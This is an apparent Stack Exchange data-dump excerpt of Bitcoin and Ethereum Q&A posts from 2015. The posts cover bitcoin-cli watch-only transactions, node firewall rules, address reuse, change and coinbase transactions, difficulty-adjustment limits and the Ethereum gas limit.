  <row Id="41474" PostTypeId="1" CreationDate="2015-11-22T12:39:00.233" Score="9" ViewCount="10706" Body="&lt;p&gt;does bitcoin-cli have any functionality to get all tx hashes for a given address (ie the txs that either send or receive funds from the given address). &lt;code&gt;listtransactions&lt;/code&gt; sounds like it should do what i want, but when i run it like so then i get no results:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# pick a random address to watch from blockchain.info:&#xA;$ addr=1GkktBuJ6Pr51WEJe5ZzyNvMYaMDFjwyDk&#xA;# create a watch-only account for this address, with the account name&#xA;# being the address itself, for convenience:&#xA;$ time bitcoin-cli importaddress $addr &amp;quot;$addr&amp;quot; true&#xA;real    41m59.505s&#xA;user    0m0.004s&#xA;sys 0m0.004s&#xA;$ bitcoin-cli listtransactions &amp;quot;$addr&amp;quot; 100 0 true&#xA;[&#xA;]&#xA;$ bitcoin-cli getinfo&#xA;{&#xA;    &amp;quot;version&amp;quot; : 100200,&#xA;    &amp;quot;protocolversion&amp;quot; : 70002,&#xA;    &amp;quot;walletversion&amp;quot; : 60000,&#xA;    &amp;quot;balance&amp;quot; : 0.00000000,&#xA;    &amp;quot;blocks&amp;quot; : 384809,&#xA;    &amp;quot;timeoffset&amp;quot; : 0,&#xA;    &amp;quot;connections&amp;quot; : 8,&#xA;    &amp;quot;proxy&amp;quot; : &amp;quot;&amp;quot;,&#xA;    &amp;quot;difficulty&amp;quot; : 65848255179.70261383,&#xA;    &amp;quot;testnet&amp;quot; : false,&#xA;    &amp;quot;keypoololdest&amp;quot; : 1381701523,&#xA;    &amp;quot;keypoolsize&amp;quot; : 101,&#xA;    &amp;quot;paytxfee&amp;quot; : 0.00000000,&#xA;    &amp;quot;relayfee&amp;quot; : 0.00001000,&#xA;    &amp;quot;errors&amp;quot; : &amp;quot;&amp;quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;as you can see, it takes 42 minutes to scan the blockchain for this watch-only address, so its not something i want to do often. and its only producing an empty list, &lt;a href=&quot;https://blockchain.info/address/1GkktBuJ6Pr51WEJe5ZzyNvMYaMDFjwyDk&quot; rel=&quot;noreferrer&quot;&gt;whereas blockchain.info shows there are 6 transactions&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;why is this not working? is this not the intended functionality of &lt;code&gt;bitcoin-cli listtransactions&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;h2&gt;update&lt;/h2&gt;&#xA;&lt;p&gt;&lt;code&gt;listtransactions&lt;/code&gt; is supposed to display transactions from watch-only addresses:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoin-cli help listtransactions&#xA;listtransactions ( &amp;quot;account&amp;quot; count from includeWatchonly)&#xA;&#xA;Returns up to 'count' most recent transactions skipping the first 'from' transactions for account 'account'.&#xA;&#xA;Arguments:&#xA;1. &amp;quot;account&amp;quot;    (string, optional) The account name. If not included, it will list all transactions for all accounts.&#xA;                                     If &amp;quot;&amp;quot; is set, it will list transactions for the default account.&#xA;2. count          (numeric, optional, default=10) The number of transactions to return&#xA;3. from           (numeric, optional, default=0) The number of transactions to skip&#xA;4. includeWatchonly (bool, optional, default=false) Include transactions to watchonly addresses (see 'importaddress')&#xA;...&#xA;...&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2020-03-19T03:51:10.357" Title="bitcoin-cli get all tx hashes for watch-only address" Tags="|listtransactions|bitcoin-cli|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="41475" PostTypeId="2" ParentId="41472" CreationDate="2015-11-22T15:03:05.343" Score="2" Body="&lt;p&gt;According to the &lt;a href=&quot;https://github.com/OpenAssets/open-assets-protocol/blob/master/specification.mediawiki&quot; rel=&quot;nofollow&quot;&gt;Open Assets Protocol Spec&lt;/a&gt;, the amounts are encoded in something called the &lt;a href=&quot;https://en.wikipedia.org/wiki/LEB128&quot; rel=&quot;nofollow&quot;&gt;unsigned LEB128&lt;/a&gt; encoding. So for 300 the binary looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;100101100&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to pad to a multiple of 7 (we have 9 bits, so this becomes 14):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;00000100101100&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now split into groups of 7:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0000010 0101100&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add in a 0 bit for the very first one, and 1 for every other group of 7:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;00000010 10101100&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In hex, this is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0x02 0xac&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put this in Little Endian order:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0xac 0x02&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do the same for the 624,485 number and get the 0xe5 0x8e 0x26.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-11-22T15:03:05.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41476" PostTypeId="1" AcceptedAnswerId="41481" CreationDate="2015-11-22T15:25:11.870" Score="2" ViewCount="526" Body="&lt;p&gt;I've read that it's never safe to use the same bitcoin address more than once because there is a small chance that someone could solve for your private keys (though I don't have a solid-enough background in encryption to understand all of the implications of this concept). In any case, even if you did generate a different address for every incoming transaction, what would stop an attacker from simply sending many transactions to the first address they see in an attempt to crack your private key?&lt;/p&gt;&#xA;" OwnerUserId="30130" LastActivityDate="2015-12-12T05:16:44.477" Title="Could someone solve for your private keys by sending many transactions to the same address?" Tags="|security|private-key|encryption|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="41478" PostTypeId="1" AcceptedAnswerId="41482" CreationDate="2015-11-22T16:50:22.760" Score="1" ViewCount="1160" Body="&lt;p&gt;Is it normal for the network to work without any ACCEPT rule? Because now my iptables have INPUT DROP, FORWARD DROP and OUTPUT DROP only port like ssh, http(s), 53 it's open.&#xA;I don't add any rule for port 8333 and 9333 but it works and if I telnet (with this tool &lt;a href=&quot;http://www.adminkit.net/telnet.aspx&quot; rel=&quot;nofollow&quot;&gt;http://www.adminkit.net/telnet.aspx&lt;/a&gt;) port  8333 or 9333 I have an error message&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Connection failed: A connection attempt failed because the connected&#xA;  party did not properly respond after a period of time, or established&#xA;  connection failed because connected host has failed to respond&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I add here all iptables rules&#xA;&lt;a href=&quot;http://notes.io/qZkF&quot; rel=&quot;nofollow&quot;&gt;http://notes.io/qZkF&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to send btc from external source and I received it. In bitcoin.conf I have &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;rpcport=9333&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Netstat -tulpn&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      19626/nginx.conf&#xA;tcp        0      0 127.0.0.1:9333          0.0.0.0:*               LISTEN      3537/bitcoind&#xA;tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      2446/sendmail: MTA:&#xA;tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      19626/nginx.conf&#xA;tcp        0      0 0.0.0.0:5565            0.0.0.0:*               LISTEN      2416/sshd&#xA;tcp        0      0 0.0.0.0:11111           0.0.0.0:*               LISTEN      8575/php&#xA;tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      2936/mysqld&#xA;tcp        0      0 127.0.0.1:587           0.0.0.0:*               LISTEN      2446/sendmail: MTA:&#xA;tcp        0      0 127.0.0.1:11211         0.0.0.0:*               LISTEN      2440/memcached&#xA;tcp        0      0 0.0.0.0:8333            0.0.0.0:*               LISTEN      3537/bitcoind&#xA;tcp6       0      0 ::1:9333                :::*                    LISTEN      3537/bitcoind&#xA;tcp6       0      0 :::5565                 :::*                    LISTEN      2416/sshd&#xA;tcp6       0      0 :::8333                 :::*                    LISTEN      3537/bitcoind&#xA;udp        0      0 127.0.0.1:11211         0.0.0.0:*                           2440/memcached&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Last debug.log&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2015-11-22 16:33:33 receive version message: /bitcoinseeder:0.01/: version 60000, blocks=230000, us=[xxxx:xxxx:x:xxxx::]:8333, peer=304&#xA;2015-11-22 16:34:01 ERROR: AcceptToMemoryPool: free transaction rejected by rate limiter&#xA;2015-11-22 16:34:01 keypool reserve 47&#xA;2015-11-22 16:34:01 keypool return 47&#xA;2015-11-22 16:34:11 receive version message: /bitcoinseeder:0.01/: version 60000, blocks=350000, us=[xxxx:xxxx:x:xxxx::]:8333, peer=305&#xA;2015-11-22 16:34:11 ERROR: AcceptToMemoryPool: free transaction rejected by rate limiter&#xA;2015-11-22 16:34:12 ERROR: AcceptToMemoryPool: free transaction rejected by rate limiter&#xA;2015-11-22 16:34:31 ERROR: AcceptToMemoryPool: free transaction rejected by rate limiter&#xA;2015-11-22 16:34:38 ERROR: AcceptToMemoryPool: free transaction rejected by rate limiter&#xA;2015-11-22 16:34:44 ERROR: AcceptToMemoryPool: nonstandard transaction: dust&#xA;2015-11-22 16:34:53 receive version message: /bitcoinseeder:0.01/: version 60000, blocks=350000, us=[xxxx:xxxx:x:xxxx::]:8333, peer=306&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With PHP I use this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$server = new jsonRPCClient(&quot;http://$user:$passwd@127.0.0.1:9333/&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Update: I think it's because I have these rules&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT&#xA;iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it a good idea to close port 8333 and 9333? &lt;/p&gt;&#xA;" OwnerUserId="30213" LastEditorDisplayName="user20707" LastEditDate="2016-10-07T07:04:03.700" LastActivityDate="2016-10-07T07:35:33.210" Title="Transacting bitcoins while there are no Accept rules in iptables" Tags="|bitcoind|server|php|firewall|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41479" PostTypeId="2" ParentId="41476" CreationDate="2015-11-22T17:16:42.473" Score="-2" Body="&lt;p&gt;It does make your address slightly less secure once you send from it. If the address is only used to receive Bitcoin though, it is secure, and there is no significant risk to your private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT Added: Sending lets the world know the public address. This increases risk (albeit to insignificant levels) but still IMO many times &lt;em&gt;higher risk&lt;/em&gt; than not disclosing this information at all, because now any attacker is closer to finding the private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as just one reason (there are more)... given that there is clearly non-zero risk that technology could be developed to compute private keys more easily from public addresses, publicizing public addresses increases risk. See link below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.reddit.com/r/Bitcoin/comments/3wfmg2/satoshis_unmoved_coins_are_the_worlds_biggest/&quot; rel=&quot;nofollow&quot;&gt;Reddit thread discussing quantum-safety&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14236" LastEditorUserId="14236" LastEditDate="2015-12-12T05:16:44.477" LastActivityDate="2015-12-12T05:16:44.477" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="41480" PostTypeId="2" ParentId="41469" CreationDate="2015-11-22T20:38:44.343" Score="3" Body="&lt;p&gt;They tax the exact same things as if you'd done those things in Thai Baht, or Nigerian Dollars, or British Pounds. If you view ads, that's income. If you buy gold, and it appreciates, that's capital gains. If you buy a mining contract, the income minus depreciation is capital gains.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-11-22T20:38:44.343" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="41481" PostTypeId="2" ParentId="41476" CreationDate="2015-11-22T21:58:24.990" Score="4" Body="&lt;p&gt;So there are &lt;a href=&quot;http://arstechnica.com/security/2014/03/scientist-devised-crypto-attack-could-one-day-steal-secret-bitcoin-keys/&quot; rel=&quot;nofollow&quot;&gt;attacks&lt;/a&gt; where if you sign enough times with the same private key, the attacker, with access to a side-channel can figure out your key. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you were signing with your private key a lot of times, this would make your private key slightly less secure. If you're receiving bitcoins to your address, you're not signing with your private key, so this isn't an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The more important consideration here is that you lose privacy with address reuse. &lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-11-22T21:58:24.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41482" PostTypeId="2" ParentId="41478" CreationDate="2015-11-23T02:49:18.577" Score="1" Body="&lt;p&gt;Telnet says 'Connection failed' which means others will not be able to connect to you. Your iptables is working as it should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may be mistaken thinking that bitcoin is working without ACCEPT rule because you are seeing outgoing connections. Probably 8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your netstat shows bitcoin is LISTENing but if iptables doesn't ACCEPT then it will never see any incoming connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try &lt;code&gt;netstat -na | grep 8333&lt;/code&gt; and you will see only outgoing connections (source address: you).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make your bitcoin node reachable to the outside world simply add a rule to accept 8333.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note do NOT open 9333 ! It's meant for local use only and you might lose your bitcoins if people get access to it (in fact you're better off disabling it if you're not using it).&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-11-23T02:49:18.577" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41483" PostTypeId="1" AcceptedAnswerId="41489" CreationDate="2015-11-23T06:30:37.600" Score="1" ViewCount="68" Body="&lt;p&gt;If not, how is the change transaction processed?&lt;/p&gt;&#xA;" OwnerUserId="30472" LastActivityDate="2015-11-25T17:14:31.640" Title="When a block that has a transaction with change in it is successfully mined, is the change transaction included in the newly mined block?" Tags="|transactions|change|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41484" PostTypeId="1" AcceptedAnswerId="41488" CreationDate="2015-11-23T06:54:56.367" Score="3" ViewCount="146" Body="&lt;p&gt;Is it p2p through BitTorrent protocol? Is it through a central server?&lt;/p&gt;&#xA;" OwnerUserId="30472" LastActivityDate="2015-11-23T07:38:50.213" Title="When I'm downloading the blockchain for the first time, from whom am I downloading it from?" Tags="|synchronization|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41485" PostTypeId="1" AcceptedAnswerId="41486" CreationDate="2015-11-23T07:18:36.710" Score="2" ViewCount="412" Body="&lt;p&gt;According to &lt;a href=&quot;http://bitcoinstats.com/network/dns-servers/&quot; rel=&quot;nofollow&quot;&gt;bitcoinstats.com&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Except for bitseed.xf2.org the seeds aim to return nodes that are currently online and reachable. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If the nodes are not aimed to be currently online and reachable, what qualities (if any) are they aimed to have?&lt;/p&gt;&#xA;" OwnerUserId="30472" LastActivityDate="2015-11-23T07:35:33.400" Title="What properties does the DNSSeed list at bitseed.xf2.org attempt to have?" Tags="|seed|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41486" PostTypeId="2" ParentId="41485" CreationDate="2015-11-23T07:35:33.400" Score="2" Body="&lt;p&gt;That DNS server in particular does not exist anymore and is not used by Bitcoin Core. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe for a while it returned stale results which is what that comment would have been about. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-11-23T07:35:33.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41488" PostTypeId="2" ParentId="41484" CreationDate="2015-11-23T07:38:50.213" Score="6" Body="&lt;p&gt;Blocks are downloaded from other nodes in Bitcoin's P2P network using a custom wire protocol. For the initial synch you can imagine it as a torrent with 5000 seeders, though the Bitcoin P2P protocol is more specialised and efficient for this task than BitTorrent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bottleneck is almost always CPU load on validation, rather than download speed. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-11-23T07:38:50.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41489" PostTypeId="2" ParentId="41483" CreationDate="2015-11-23T07:44:13.390" Score="4" Body="&lt;p&gt;There is no change transaction type. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transactions are defined as a list of inputs consumed, and outputs created, and the values assigned to those new outputs. The creator typically makes an output for a entity they wish to pay, and another output which pays excess change back to them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any amount of Bitcoin left un-used by the outputs is interpreted as the fee for the transaction. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-11-23T07:44:13.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41491" PostTypeId="1" AcceptedAnswerId="41492" CreationDate="2015-11-23T09:33:14.740" Score="2" ViewCount="109" Body="&lt;p&gt;The Developer Guide on Bitcoin.org says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;If it took fewer than two weeks to generate the 2,016 blocks, the expected difficulty value is increased proportionally &lt;strong&gt;(by as much as 300%)&lt;/strong&gt; so that the next 2,016 blocks should take exactly two weeks to generate if hashes are checked at the same rate.&lt;/p&gt;&#xA;&lt;p&gt;If it took more than two weeks to generate the blocks, the expected difficulty value is decreased proportionally &lt;strong&gt;(by as much as 75%)&lt;/strong&gt; for the same reason.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Why there is such limit on increase or decrease ratio? Updating difficulty every 2 weeks is not enough to cover abrupt changes?&lt;/p&gt;&#xA;" OwnerUserId="26904" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-11-23T12:51:01.560" Title="Why pose limit on update ratio of network difficulty" Tags="|blockchain|difficulty|" AnswerCount="1" CommentCount="3" ClosedDate="2015-11-24T18:32:59.803" ContentLicense="CC BY-SA 3.0" />
  <row Id="41492" PostTypeId="2" ParentId="41491" CreationDate="2015-11-23T12:51:01.560" Score="4" Body="&lt;p&gt;Imagine we have a system with no restrictions on the period or rate of decrease. Every block the period is updated looking back 6 blocks and adjusting the difficulty to suit, this is a modification people have made to Bitcoin forks in the past in the belief that there is no harm in doing so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this system, to attack a single user all we need to do is partition their node (the exact method is irrelevant, but it is possible) from the rest of the network so they can no longer see new blocks being mined. With the right timing, we might only need to solve a single block on our newly created side of the network and the user/s there will adjust their difficulty dramatically lower to compensate. With no limits, the user will happily accept order of magnitude hashrate decreases without any concern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We now have to spend next to no effort making very low difficulty blocks on this fork. This allows us to do things like coercing the users into accepting payments with false low-difficulty confirmations, once they re-join the network they will find the confirmations will disappear and they will have been irreparably defrauded. This process would take a very short time and there's no way a user would notice the attack in time to not be stolen from. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-11-23T12:51:01.560" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41494" PostTypeId="2" ParentId="41476" CreationDate="2015-11-23T18:20:56.793" Score="0" Body="&lt;p&gt;Several cryptographic schemes have such kind of flaw, that is, if an attacker intercepts several messages from one single private key source, it becomes easier to decipher the message. During the World War II this were done several times by the allies in order to break the Nazis and the Japaneses codes.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fortunately, bitcoin rely on cryptographic schemes (mainly SHA256) that doesn't have any know flaw (unless brute force) yet. This means that, if you don't provide your private key to no one else, you can do as many transactions you like with one single address account that an attacker would not be better of to break your account.  &lt;/p&gt;&#xA;" OwnerUserId="30509" LastEditorUserId="30130" LastEditDate="2015-11-23T20:12:19.673" LastActivityDate="2015-11-23T20:12:19.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41495" PostTypeId="1" CreationDate="2015-11-23T19:43:35.530" Score="0" ViewCount="293" Body="&lt;p&gt;I'm trying to parse the blockchain directly from the .dat files. The parser works well up until I run into these blocks, with the version appearing as &quot;d9b4bef9&quot; (already reversed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is this version, and what special rules does it have?&lt;/p&gt;&#xA;" OwnerUserId="6105" LastActivityDate="2015-11-23T19:43:35.530" Title="What block version is this: d9b4bef9 (decimal: 3652501241)?" Tags="|blockchain|block|bip9-version-bits|" AnswerCount="0" CommentCount="2" ClosedDate="2016-11-18T13:50:44.933" ContentLicense="CC BY-SA 3.0" />
  <row Id="41497" PostTypeId="1" AcceptedAnswerId="41498" CreationDate="2015-11-23T22:50:09.080" Score="1" ViewCount="219" Body="&lt;p&gt;I have downloaded the whole blockchain, but I was curious about the working environment after enabling txindex=1 and calling the -reindex command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that I decided not to reindex the blockchain (didn't want to develop anything extreme and to wait that long), I disabled txindex=0 and bitcoind is downloading again all the blockchain!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a shortcut to avoid it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;*I think the debug.log file is growing twice the initial size &#xA;&lt;a href=&quot;https://i.stack.imgur.com/q47lV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/q47lV.png&quot; alt=&quot;also the debug.log file is getting bigger&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30719" LastEditorUserId="30719" LastEditDate="2015-11-23T23:46:13.197" LastActivityDate="2015-11-24T11:56:10.500" Title="Is there a shortcut for a synchronized bitcoin core after txindex?" Tags="|bitcoind|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41498" PostTypeId="2" ParentId="41497" CreationDate="2015-11-23T23:32:44.290" Score="3" Body="&lt;p&gt;When enabling or disabling &lt;code&gt;txindex&lt;/code&gt; the blocks you already have are used, they are not re-downloaded. There is no shortcut, once you start you have to wait for it to finish. The process of re-indexing throws out the state you already have and rebuilds it completely from the block files where possible. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-11-24T11:56:10.500" LastActivityDate="2015-11-24T11:56:10.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41499" PostTypeId="1" AcceptedAnswerId="41500" CreationDate="2015-11-24T07:20:31.990" Score="2" ViewCount="83" Body="&lt;p&gt;If so, what are inputs to that transaction? If not, how are rewards tracked in the network?&lt;/p&gt;&#xA;" OwnerUserId="30472" LastEditorUserId="5406" LastEditDate="2015-11-24T18:36:10.057" LastActivityDate="2015-11-24T18:36:10.057" Title="Is the reward for successfully mining a block a transaction on the bitcoin network?" Tags="|mining-reward|coinbase-transaction|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41500" PostTypeId="2" ParentId="41499" CreationDate="2015-11-24T08:11:45.593" Score="4" Body="&lt;p&gt;Yes, it is known as a coinbase transaction. It is the first transaction in every block and has some slightly different rules to all others. It has blank inputs, can not be spent for 100 confirmations, and can create a maximum of the current reward amount plus the fees collected in that block. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-11-24T08:11:45.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41501" PostTypeId="2" ParentId="41443" CreationDate="2015-11-24T11:49:42.593" Score="5" Body="&lt;p&gt;I've found what was wrong. It seems that &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees#Settings&quot; rel=&quot;noreferrer&quot;&gt;technical info&lt;/a&gt; is not up to date to the current Bitcoin Core version (0.11.2.0). Since version 0.11 (12 July 2015) the minimum relay fee is &lt;a href=&quot;https://bitcoin.org/en/release/v0.11.0#transaction-flooding&quot; rel=&quot;noreferrer&quot;&gt;5 times bigger&lt;/a&gt; (from 1000 Satoshi to 5000) so the transaction has not enough fees to be relayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=1260280.0&quot; rel=&quot;noreferrer&quot;&gt;Here&lt;/a&gt; you could find a discussion about the topic.&lt;/p&gt;&#xA;" OwnerUserId="30668" LastActivityDate="2015-11-24T11:49:42.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41502" PostTypeId="2" ParentId="41483" CreationDate="2015-11-24T18:43:09.620" Score="1" Body="&lt;p&gt;Transactions have to spend all their inputs immediately. Essentially, any transaction splits the inputs to (at least) two destinations: the transaction's intended recipient and yourself (change).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say you have an input with 1BTC and want to spend 0.5BTC:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                         ------- 0.5BTC (recipient)&#xA;1BTC  ---transaction----|&#xA;                         ------- 0.5BTC (change to yourself)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any portions of the input that you don't designate to a destination become part of the transaction fee which will be claimed by the miner. &lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-11-25T17:14:31.640" LastActivityDate="2015-11-25T17:14:31.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41503" PostTypeId="1" CreationDate="2015-11-19T11:06:34.283" Score="3" ViewCount="854" Body="&lt;p&gt;I'm having trouble publishing contracts and executing transactions due to the low gas limit (3.14 million gas ~0.15 ETH). How and when will the gas limit rise?&lt;/p&gt;&#xA;" OwnerUserId="35332" OwnerDisplayName="fivedogit" LastActivityDate="2016-09-08T15:43:16.930" Title="The Ethereum gas limit seems prohibitively low. Will it ever be raised? If so, when and how?" Tags="|ethereum|" AnswerCount="2" CommentCount="1" ClosedDate="2020-04-25T21:11:08.827" ContentLicense="CC BY-SA 3.0" />
  <row Id="41504" PostTypeId="2" ParentId="41503" CreationDate="2015-11-19T11:10:19.463" Score="2" Body="&lt;p&gt;The block gas limit is determined by miners. According to the &lt;a href=&quot;https://github.com/ethereum/yellowpaper&quot; rel=&quot;nofollow&quot;&gt;Ethereum protocol&lt;/a&gt;, they can raise/lower it by 1/1024 of the previous block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently (11/20/2015), geth is set up to automatically increase the gas limit if the previous block used more than ⅔ of the previous block gas limit and automatically decrease it if it’s below the threshold. In practice, an increase (probably) never happens, and even if it does, most blocks are well below the ⅔ threshold, so the limit would fall back to pi million quickly. Gas usage is very spikey like that. See &lt;a href=&quot;http://stats.ethdev.com&quot; rel=&quot;nofollow&quot;&gt;http://stats.ethdev.com&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, for miners to amend the ⅔ logic, they’d need to alter geth’s code and build from source which is not going to happen en masse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are ongoing discussions about what to do about this on &lt;a href=&quot;https://gitter.im/ethereum/research&quot; rel=&quot;nofollow&quot;&gt;https://gitter.im/ethereum/research&lt;/a&gt;. Vitalik floated the idea of making the limit 4x its current limit and leaving the ⅔ logic the way it is. I support the 4x increase, but I think the ⅔ logic needs to be rethought.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: I asked Vitalik about the low gas limit during DEVCON1. The reason there is no rush to raise the gas limit has to do with block propagation times. Every node in the ethereum network has to execute every transaction. If the gas limit were increased substantially, there might be delays in block times which would cause the network to go from 17 (current average) up north of 20 seconds. That's not the direction we want to be heading in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll also say that one benefit of a low gas price is that it forces contract authors to create efficient code which, in turn, reduces blockchain bloat.&lt;/p&gt;&#xA;" OwnerUserId="35332" OwnerDisplayName="fivedogit" LastEditorUserId="33038" LastEditDate="2016-09-08T15:43:16.930" LastActivityDate="2016-09-08T15:43:16.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
